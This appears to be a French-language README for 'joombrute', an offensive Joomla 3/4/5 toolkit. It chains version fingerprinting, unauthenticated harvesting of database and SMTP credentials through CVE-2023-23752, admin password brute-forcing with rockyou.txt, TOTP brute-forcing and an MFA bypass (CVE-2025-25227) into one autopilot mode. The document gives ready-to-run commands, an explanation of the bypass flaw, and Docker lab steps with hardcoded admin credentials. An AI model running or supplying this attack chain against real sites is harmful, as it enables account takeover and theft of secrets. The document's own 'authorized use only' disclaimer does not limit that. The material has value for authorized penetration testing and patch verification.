
Moderne Joomla Auth-attack Toolkit J3 / J4 / J5 - CVE-2023-23752 · CVE-2023-23755 · CVE-2025-25227

Kit d'attaque d'authentification Joomla moderne
J3 / J4 / J5 - CVE-2023-23752 · CVE-2023-23755 · CVE-2025-25227
Kit d'attaque par identifiants Joomla couvrant les versions 3, 4 et 5 du CMS. Six sous-commandes gèrent la chaîne d'attaque complète de bout en bout :
detect - empreinte de version (manifeste XML → meta générateur → balisage admin)enum - CVE-2023-23752 récolte non authentifiée via API : noms d'utilisateur, hôte/utilisateur/mot de passe de la base de données, identifiants SMTP, secret d'applicationbrute - bruteforce de connexion admin concurrent avec isolation de session par worker et classification à quatre résultats (succès / mfa requis / invalide / bloqué)mfa-brute - CVE-2023-23755 attaque exhaustive TOTP à 6 chiffres contre l'écran MFA captifmfa-bypass - CVE-2025-25227 contournement MFA via view=methods (et quatre autres vues/tâches candidates) sur la session demi-authentifiéechain - pilote automatique complet : detect → enum → brute → pivotement automatique de contournement MFA lorsque le bruteforce aboutit sur un écran captifBinaire statique unique, aucune dépendance d'exécution. Concurrence native par goroutines avec gestion de cookies par worker. Sortie JSONL pour ingestion SIEM. Support proxy HTTP/HTTPS/SOCKS5. Vérifié de bout en bout contre les laboratoires Docker Joomla 3.10, 4.2.7 et 5.4.6.
# Option A - Go install (requires Go 1.22+)
go install github.com/rvzsec/joombrute/cmd/joombrute@latest
# Option B - Pre-built binary from releases
curl -L -o joombrute https://github.com/rvzsec/joombrute/releases/latest/download/joombrute-linux-amd64
chmod +x joombrute
# Option C - Build from source
git clone https://github.com/rvzsec/joombrute
cd joombrute
make
joombrute detect -u <target>
joombrute enum -u <target>
joombrute brute -u <target> --user admin -w rockyou.txt -c 20
joombrute mfa-brute -u <target> --user admin --password <pw> -c 50
joombrute mfa-bypass -u <target> --user admin --password <pw>
joombrute chain -u <target> -w rockyou.txt -c 20
# JSONL output for piping / SIEM ingest
joombrute --json brute -u <target> --user admin -w rockyou.txt > hits.jsonl
CVE-2025-25227 exploite MultiFactorAuthenticationHandler::needsMultiFactorAuthenticationRedirection() qui appelle isMultiFactorAuthenticationPage() sans le drapeau $onlyCaptive - la liste d'exemption de contournement inclut silencieusement les vues de gestion MFA (view=methods, view=method, view=callback, task=method.add …) auxquelles une session demi-authentifiée peut accéder sans résoudre le défi captif.
detect - empreinte via le manifeste joomla.xml → <meta name="generator"> → balisage adminenum - CVE-2023-23752 récolte non authentifiée via API (utilisateurs, hôte/utilisateur/mot de passe base de données, SMTP, secret d'application)brute - bruteforce du formulaire admin, isolation de session par worker, classification à quatre résultats (success / mfa-required / invalid / blocked)mfa-brute - CVE-2023-23755 bruteforce TOTP à 6 chiffres sur écran captifmfa-bypass - CVE-2025-25227 sonde de contournement par vérification d'état (non destructrice)chain - automatique complet : detect → enum → brute → sonde de contournement MFAmake lab # docker compose up + seed J3.10 / J4.2.7 / J5.x with admin user
make smoke # end-to-end against all three (no MFA)
make lab-mfa # seed a known TOTP secret on J4 admin (for mfa-* tests)
make smoke-mfa # brute -> mfa-required, mfa-bypass VULN, chain auto-pivot
make lab-mfa-off # remove the MFA record (back to plain admin)
make lab-down # tear it all down
L'installateur du laboratoire contourne entièrement l'installateur web de Joomla - charge le SQL d'installation directement dans MySQL, insère un utilisateur admin (admin / admin1234), écrit un configuration.php minimal. seed_mfa.php utilise le chiffrement AES-128-CBC + clé secrète propre à Joomla afin que le point de terminaison captif le déchiffre correctement. Réservé au laboratoire - les deux scripts supposent les noms de conteneurs standards joombrute-* du fichier lab/docker-compose.yml.
make all
# produces dist/joombrute-{linux,darwin,windows}-{amd64,arm64} statically linked
Tests de sécurité autorisés uniquement. Exécutez uniquement contre des systèmes pour lesquels vous avez une autorisation écrite explicite. Génère du trafic que tout IDS détectera. Les mainteneurs déclinent toute responsabilité en cas d'utilisation abusive.
Ravindu Wickramasinghe | rvz (@rvzsec) · www.zyenra.com
Concept original de bruteforce Joomla 3 : @ajnik Recherche sur la chaîne CVE-2023-23752 : VulnCheck
| CVE | Versions affectées | Mode | Corrigé dans | Vérifié en laboratoire |
|---|
| CVE-2023-23752 | 4.0.0 - 4.2.7 | enum | 4.2.8 (2023-02) | ✅ J4.2.7 |
| CVE-2023-23755 | 4.2.0 - 4.3.1 | mfa-brute | 4.3.2 (2023-05) | ✅ J4.2.7 |
| CVE-2025-25227 | 4.0.0 - 4.4.12, 5.0.0 - 5.2.5 | mfa-bypass | 4.4.13 / 5.2.6 (2025-04) | ✅ J4.2.7 |